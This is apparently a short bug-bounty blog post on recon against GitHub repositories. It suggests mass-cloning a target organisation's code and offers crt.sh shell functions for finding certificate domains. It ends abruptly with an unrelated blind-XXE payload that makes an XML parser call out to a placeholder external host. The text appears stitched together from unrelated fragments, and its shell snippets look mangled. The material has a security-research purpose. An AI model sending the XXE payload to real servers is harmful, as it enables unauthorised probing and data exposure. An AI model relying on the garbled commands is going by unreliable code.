Hex-Neon 0xn30n

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

	#!/bin/bash
	# Add these functions to your .bashrc or .zshrc and use from your terminal.

	get_certs_domains() {
	# Credit goes to Ronnie Flathers, taken from https://twitter.com/ropnop/status/972151279463124994
	curl -s https://crt.sh\?q\=%25.$1 \| awk -v pattern="<TD>.$1" '$0 ~ pattern {gsub("<[^>]>","");gsub(//,""); print}' \| sort -u
	}
	get_certs() {
	curl -s https://crt.sh\?q\=%25.$1 \| awk '/\?id=[0-9]/{nr[NR]; nr[NR+1]; nr[NR+3]; nr[NR+4]}; NR in nr' \| sed 's/<TD style="text-align:center"><A href="?id=//g' \| sed 's#">[0-9]</A></TD>##g' \| sed 's#<TD style="text-align:center">##g' \| sed 's#</TD>##g' \| sed 's#<TD>##g' \| sed 's#<A style=["a-z: ?=0-9-]*>##g' \| sed 's#</A>##g' \| sed 'N;N;N;s/\n/\t\t/g'
	}

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>